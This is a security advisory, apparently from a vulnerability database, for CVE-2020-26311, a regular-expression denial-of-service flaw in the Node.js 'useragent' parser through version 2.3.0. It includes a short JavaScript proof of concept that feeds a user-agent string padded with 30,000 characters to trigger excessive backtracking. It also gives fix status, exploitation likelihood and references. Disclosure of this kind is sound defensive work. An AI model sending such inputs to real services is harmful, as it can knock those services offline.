CVE-2020-26311

Description

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). ## PoC ```js async function exploit() { const useragent = require(\"useragent\"); // Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0'; // Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent); // Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); } await exploit(); ```

How to fix CVE-2020-26311

No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.

• —no fix listed

Is CVE-2020-26311 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, <= 2.3.0

CVSS scores

References (6)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2020-26311
• ADVISORYsecuritylab.github.com/advisories/GHSL-2020-312-redos-useragent
• PATCHgithub.com/3rd-Eden/useragent
• WEBgithub.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568